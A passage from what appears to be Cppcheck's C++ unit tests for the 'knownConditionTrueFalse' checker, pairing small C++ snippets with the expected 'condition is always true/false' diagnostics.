\"struct GrandChild : Child {\\n\"\n \" int method() override { return 1; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6855\n check(\"struct S { int i; };\\n\"\n \"void f(S& s) {\\n\"\n \" if (!(s.i > 0) && (s.i != 0))\\n\"\n \" s.i = 0;\\n\"\n \" else if (s.i < 0)\\n\"\n \" s.s = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15] -> [test.cpp:5:18]: (style) Condition 's.i<0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #6857\n check(\"int bar(int i) { return i; }\\n\"\n \"void foo() {\\n\"\n \" if (bar(1) == 0 && bar(1) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Condition 'bar(1)==0' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:31]: (style) Condition 'bar(1)>0' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S { int bar(int i) const; };\\n\"\n \"void foo(const S& s) {\\n\"\n \" if (s.bar(1) == 0 && s.bar(1) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (warning) Logical conjunction always evaluates to false: s.bar(1) == 0 && s.bar(1) > 0. [incorrectLogicOperator]\\n\",\n errout_str());\n\n check(\"struct B {\\n\" // #10618\n \" void Modify();\\n\"\n \" static void Static();\\n\"\n \" virtual void CalledByModify();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int i{};\\n\"\n \" void testV();\\n\"\n \" void testS();\\n\"\n \" void CalledByModify() override { i = 0; }\\n\"\n \"};\\n\"\n \"void D::testV() {\\n\"\n \" i = 1;\\n\"\n \" B::Modify();\\n\"\n \" if (i == 1) {}\\n\"\n \"}\\n\"\n \"void D::testS() {\\n\"\n \" i = 1;\\n\"\n \" B::Static();\\n\"\n \" if (i == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:11]: (style) Condition 'i==1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"typedef struct { bool x; } s_t;\\n\" // #8446\n \"unsigned f(bool a, bool b) {\\n\"\n \" s_t s;\\n\"\n \" const unsigned col = a ? (s.x = false) : (b = true);\\n\"\n \" if (!s.x) {}\\n\"\n \" return col;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11233\n \" static std::string m;\\n\"\n \" static void f() { m = \\\"abc\\\"; }\\n\"\n \" static void g() {\\n\"\n \" m.clear();\\n\"\n \" f();\\n\"\n \" if (m.empty()) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11203\n check(\"void f() {\\n\"\n \" int i = 10;\\n\"\n \" if(i > 9.9){}\\n\"\n \" float f = 9.9f;\\n\"\n \" if(f < 10) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:10]: (style) Condition 'i>9.9' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:10]: (style) Condition 'f<10' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n check(\"constexpr int f() {\\n\" // #11238\n \" return 1;\\n\"\n \"}\\n\"\n \"constexpr bool g() {\\n\"\n \" return f() == 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() { return -1; }\\n\"\n \"void f() {\\n\"\n \" if (g() == 1 && g() == -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Condition 'g()==1' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:25]: (style) Condition 'g()==-1' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // #9817\n check(\"void f(float x) {\\n\"\n \" if (x <= 0) {}\\n\"\n \" else if (x < 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10426\n check(\"int f() {\\n\"\n \" std::string s;\\n\"\n \" for (; !s.empty();) {}\\n\"\n \" for (; s.empty();) {}\\n\"\n \" if (s.empty()) {}\\n\"\n \" if ((bool)0) {}\\n\"\n \" return s.empty();\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Condition '!s.empty()' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:19]: (style) Condition 's.empty()' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:16]: (style) Condition 's.empty()' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:9]: (style) Condition '(bool)0' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:7:19]: (style) Return value 's.empty()' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int f(bool b) {\\n\"\n \" if (b) return static_cast(1);\\n\"\n \" return (int)0;\\n\"\n \"}\\n\"\n \"bool g(bool b) {\\n\"\n \" if (b) return static_cast(1);\\n\"\n \" return (int)0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:35]: (style) Return value 'static_cast(1)' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:7:12]: (style) Return value '(int)0' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int f() { return 3; }\\n\"\n \"int g() { return f(); }\\n\"\n \"int h() { if (f()) {} }\\n\"\n \"int i() { return f() == 3; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Condition 'f()' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:22]: (style) Return value 'f()==3' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" const char *n;\\n\"\n \" return((n=42) &&\\n\"\n \" *n == 'A');\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::istringstream& i) {\\n\" // #9327\n \" std::string s;\\n\"\n \" if (!(i >> s))\\n\"\n \" return;\\n\"\n \" if (!(i >> s))\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11227\n check(\"struct S {\\n\"\n \"\tint get();\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" if (!s)\\n\"\n \" return;\\n\"\n \" g(s ? s->get() : 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:7]: (style) Condition 's' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const char* o) {\\n\" // #11558\n \" if (!o || !o[0])\\n\"\n \" return;\\n\"\n \" if (o[0] == '-' && o[1]) {\\n\"\n \" if (o[1] == '-') {}\\n\"\n \" if (o[1] == '\\\\0') {}\\n\"\n \" }\\n\"\n \"}\\n\");\n if (std::numeric_limits::is_signed) {\n ASSERT_EQUALS(\"[test.cpp:6:18]: (style) Condition 'o[1]=='\\\\0'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n } else {\n ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:6]: (style) Condition 'o[1]=='\\\\0'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n check(\"void f(int x) {\\n\" // #11449\n \" int i = x;\\n\"\n \" i = (std::min)(i, 1);\\n\"\n \" if (i == 1) {}\\n\"\n \" int j = x;\\n\"\n \" j = (::std::min)(j, 1);\\n\"\n \" if (j == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void h(int);\\n\" // #11679\n \"bool g(int a) { h(a); return false; }\\n\"\n \"bool f(int i) {\\n\"\n \" return g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string a) {\\n\" // #11051\n \" a = \\\"x\\\";\\n\"\n \" if (a == \\\"x\\\") {}\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'a==\\\"x\\\"' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(i == 7);\\n\"\n \" g(p == nullptr);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Condition 'i==7' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:9]: (style) Condition 'p==nullptr' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"enum E { E0, E1 };\\n\"\n \"void f() {\\n\"\n \"\tstatic_assert(static_cast(E::E1) == 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a {\\n\"\n \" bool g();\\n\"\n \" int h();\\n\"\n \"};\\n\"\n \"void f(a c, int d, int e) {\\n\"\n \" if (c.g() && c.h()) {}\\n\"\n \" else {\\n\"\n \" bool u = false;\\n\"\n \" if (d && e)\\n\"\n \" u = true;\\n\"\n \" if (u) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #11741\n \" i = -i - 1;\\n\"\n \" if (i < 0 || i >= 20)\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace S { int s{}; };\\n\" // #11046\n \"void f(bool b) {\\n\"\n \" if (S::s) {\\n\"\n \" if (b) {\\n\"\n \" if (S::s) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Condition 'S::s' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10811\n \" int i = 0;\\n\"\n \" if ((i = g(), 1) != 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:22]: (style) Condition '(i=g(),1)!=0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(unsigned i) {\\n\"\n \" const int a[2] = {};\\n\"\n \" const int* q = a + i;\\n\"\n \" if (q) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Condition 'q' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12786\n \" const int b[2] = {};\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Condition 'b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int j = 0;\\n\"\n \" switch (i) {\\n\"\n \" case 1:\\n\"\n \" j = 0;\\n\"\n \" break;\\n\"\n \" default:\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \" if (j != 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const char *s1 = foo();\\n\"\n \" const char *s2 = bar();\\n\"\n \" if (s2 == NULL)\\n\"\n \" return;\\n\"\n \" size_t len = s2 - s1;\\n\"\n \" if (len == 0)\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int h();\\n\" // #12858\n \"bool g() {\\n\"\n \" bool b{};\\n\"\n \" try {\\n\"\n \" int x = h();\\n\"\n \" switch (x) {\\n\"\n \" default:\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" b = false;\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" if (g()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x, int y) {\\n\" // #11822\n \" if (x) {\\n\"\n \" switch (y) {\\n\"\n \" case 1:\\n\"\n \" return 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" \\n\"\n \" if (y)\\n\"\n \" return 8;\\n\"\n \" \\n\"\n \" if (x)\\n\"\n \" return 9;\\n\"\n \" \\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\" // #10561\n \"bool h();\\n\"\n \"int f() {\\n\"\n \" bool b = false;\\n\"\n \" try {\\n\"\n \" switch (g()) {\\n\"\n \" default:\\n\"\n \" b = h();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {}\\n\"\n \" return b ? 1 : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" const S* get2() const {\\n\"\n \" if (mS)\\n\"\n \" return mS;\\n\"\n \" return this;\\n\"\n \" }\\n\"\n \" S* mS = nullptr;\\n\"\n \"};\\n\"\n \"void f2() {\\n\"\n \" const S s;\\n\"\n \" const S* sp2 = s.get2();\\n\"\n \" if (sp2) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:12:9]: (style) Condition 'sp2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int i);\\n\"\n \" bool g() const { return !m.empty(); }\\n\"\n \" std::set m;\\n\"\n \"};\\n\"\n \"void S::f(int i) {\\n\"\n \" bool b = g();\\n\"\n \" auto it = m.find(i);\\n\"\n \" if (it != m.end()) {\\n\"\n \" m.erase(it);\\n\"\n \" if (g() != b) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueSymbolic()\n {\n check(\"void f(const uint32_t x) {\\n\"\n \" uint32_t y[1];\\n\"\n \" y[0]=x;\\n\"\n \" if(x > 0 || y[0] < 42){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:4:22]: (style) Condition 'y[0]<42' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if(x < y && x < 42) {\\n\"\n \" --x;\\n\"\n \" if(x == y) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:4:14]: (style) Condition 'x==y' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) { if (a == b && a && !b){} }\");\n ASSERT_EQUALS(\"[test.cpp:1:41] -> [test.cpp:1:46]: (style) Condition '!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f(bool a, bool b) { if(a && b && (!a)){} }\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:1:40]: (style) Condition '!a' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if (x < y) {\\n\"\n \" auto z = y - x;\\n\"\n \" if (z < 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:11]: (style) Condition 'z<1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f(int &index, const int s, const double * const array, double & x) {\\n\"\n \" if (index >= s)\\n\"\n \" return false;\\n\"\n \" else {\\n\"\n \" x = array[index];\\n\"\n \" return (index++) >= s;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:6:26]: (style) Return value '(index++)>=s' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" a *b() const;\\n\"\n \"} c;\\n\"\n \"void d() {\\n\"\n \" a *e = nullptr;\\n\"\n \" e = c.b();\\n\"\n \" if (e) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int i) {\\n\"\n \" if (i < 256)\\n\"\n \" return 1;\\n\"\n \" const int N = 2 * i;\\n\"\n \" i -= 256;\\n\"\n \" if (i == 0)\\n\"\n \" return 0;\\n\"\n \" return N;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\"\n \" if (i < j) {\\n\"\n \" i++;\\n\"\n \" if (i >= j)\\n\"\n \" return;\\n\"\n \" i++;\\n\"\n \" if (i >= j) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int get_delta() {\\n\"\n \" clock_t now_ms = (clock() / (CLOCKS_PER_SEC / 1000));\\n\"\n \" static clock_t last_clock_ms = now_ms;\\n\"\n \" clock_t delta = now_ms - last_clock_ms;\\n\"\n \" last_clock_ms = now_ms;\\n\"\n \" if (delta > 50)\\n\"\n \" delta = 50;\\n\"\n \" return delta;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10555\n check(\"struct C {\\n\"\n \" int GetI() const { return i; }\\n\"\n \" int i{};\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" C *m_PC{};\\n\"\n \" Modify();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void test(); \\n\"\n \"};\\n\"\n \"void D::test() {\\n\"\n \" const int I = m_PC->GetI();\\n\"\n \" Modify();\\n\"\n \" if (m_PC->GetI() != I) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10624\n check(\"struct Data {\\n\"\n \" Base* PBase{};\\n\"\n \"};\\n\"\n \"void f(Data* BaseData) {\\n\"\n \" Base* PObj = BaseData->PBase;\\n\"\n \" if (PObj == nullptr)\\n\"\n \" return;\\n\"\n \" Derived* pD = dynamic_cast(PObj);\\n\"\n \" if (pD) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9549\n check(\"void f(const uint32_t v) {\\n\"\n \" const uint32_t v16 = v >> 16;\\n\"\n \" if (v16) {\\n\"\n \" const uint32_t v8 = v16 >> 8;\\n\"\n \" if (v8) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10649\n check(\"void foo(struct diag_msg *msg) {\\n\"\n \" msg = msg->next;\\n\"\n \" if (msg == NULL)\\n\"\n \" return CMD_OK;\\n\"\n \" msg = msg->next;\\n\"\n \" if (msg == NULL)\\n\"\n \" return CMD_OK;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(bool a, bool b) {\\n\"\n \" if((!a == !b) && !a && b)\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:2:26]: (style) Condition 'b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11124\n check(\"struct Basket {\\n\"\n \"\tstd::vector getApples() const;\\n\"\n \"\tstd::vector getBananas() const;\t\\n\"\n \"};\\n\"\n \"int getFruit(const Basket & b, bool preferApples)\\n\"\n \"{\\n\"\n \" std::vector apples = b.getApples();\\n\"\n \" int apple = apples.empty() ? -1 : apples.front();\\n\"\n \" std::vector bananas = b.getBananas();\\n\"\n \" int banana = bananas.empty() ? -1 : bananas.front();\\n\"\n \" int fruit = std::max(apple, banana);\\n\"\n \" if (fruit == -1)\\n\"\n \" return fruit;\\n\"\n \" if (std::min(apple, banana) != -1)\\n\"\n \" fruit = preferApples ? apple : banana;\\n\"\n \" return fruit;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string & s, int i) {\\n\"\n \" const char c = s[i];\\n\"\n \" if (!std::isalnum(c)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11404\n \" int f() const;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void h(std::vector::iterator it) {\\n\"\n \" auto i = (*it)->f();\\n\"\n \" (*it)->g();\\n\"\n \" auto j = (*it)->f();\\n\"\n \" if (i == j) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11384\n check(\"bool f(const int* it, const int* end) {\\n\"\n \"\treturn (it != end) && *it++ &&\\n\"\n \" (it != end) && *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12116\n check(\"void f(int n) {\\n\"\n \" for (int i = 0; i < N; ++i) {\\n\"\n \" if (i < n) {}\\n\"\n \" else if (i > n) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12681\n check(\"void f(unsigned u) {\\n\"\n \" if (u > 0) {\\n\"\n \" u--;\\n\"\n \" if (u == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned u) {\\n\"\n \" if (u < 0xFFFFFFFF) {\\n\"\n \" u++;\\n\"\n \" if (u == 0xFFFFFFFF) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\" // #12937\n \" bool c = !a && b;\\n\"\n \" if (a) {}\\n\"\n \" else {\\n\"\n \" if (c) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned x) {\\n\" // #13522\n \" unsigned u = x;\\n\"\n \" int i = u - 0;\\n\"\n \" if (i < 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueInfer() {\n check(\"void f(int x) {\\n\"\n \" if (x > 5) {\\n\"\n \" x++;\\n\"\n \" if (x == 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:15]: (style) Condition 'x==1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5) {\\n\"\n \" x++;\\n\"\n \" if (x != 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:15]: (style) Condition 'x!=1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #6890\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x == -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x==-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x != -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x!=-1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x >= -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x>=-1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x>-1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x < -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x<-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x <= -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x<=-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > 7) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x>7' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > 9) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > 10) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11100\n check(\"struct T {\\n\"\n \" bool m{};\\n\"\n \" void f(bool b);\\n\"\n \" bool get() const { return m; }\\n\"\n \" void set(bool v) { m = v; }\\n\"\n \"};\\n\"\n \"void T::f(bool b) {\\n\"\n \"\tbool tmp = get();\\n\"\n \"\tset(b);\\n\"\n \"\tif (tmp != get()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9541\n check(\"int f(int pos, int a) {\\n\"\n \" if (pos <= 0)\\n\"\n \" pos = 0;\\n\"\n \" else if (pos < a)\\n\"\n \" if(pos > 0)\\n\"\n \" --pos;\\n\"\n \" return pos;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:16]: (style) Condition 'pos>0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9721\n check(\"void f(int x) {\\n\"\n \" if (x > 127) {\\n\"\n \" if ( (x>255) || (-128>x) )\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:30]: (style) Condition '-128>x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8778\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 19; ++i)\\n\"\n \" if(i<=18) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Condition 'i<=18' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8209\n check(\"void f() {\\n\"\n \" for(int x = 0; x < 3; ++x)\\n\"\n \" if(x == -5) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Condition 'x==-5' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8407\n check(\"int f(void) {\\n\"\n \" for(int i = 0; i <1; ++i)\\n\"\n \" if(i == 0) return 1; \\n\" // <<\n \" else return 0;\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Condition 'i==0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(unsigned int u1, unsigned int u2) {\\n\"\n \" if (u1 <= 10 && u2 >= 20) {\\n\"\n \" if (u1 != u2) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:16]: (style) Condition 'u1!=u2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10544\n check(\"void f(int N) {\\n\"\n \" if (N > 0) {\\n\"\n \" while (N)\\n\"\n \" N = test();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11098\n check(\"void f(unsigned int x) { if (x == -1u) {} }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int *p, const int *q) {\\n\"\n \" return p != NULL && q != NULL && p == NULL;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:40]: (style) Return value 'p==NULL' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #11789\n \" std::vector v;\\n\"\n \" void f(int i) const;\\n\"\n \"};\\n\"\n \"void S::f(int i) const {\\n\"\n \" int j = i - v.size();\\n\"\n \" if (j >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12039\n \" if ((128 + i < 255 ? 128 + i : 255) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12727\n \" bool f() const {\\n\"\n \" return g() > 0;\\n\"\n \" }\\n\"\n \" std::size_t g() const {\\n\"\n \" return 5 - h();\\n\"\n \" }\\n\"\n \" std::size_t h() const {\\n\"\n \" if (x > 7)\\n\"\n \" return 5;\\n\"\n \" return (5 + x) % 5;\\n\"\n \" }\\n\"\n \" std::size_t x;\\n\"\n \"};\\n\");\n 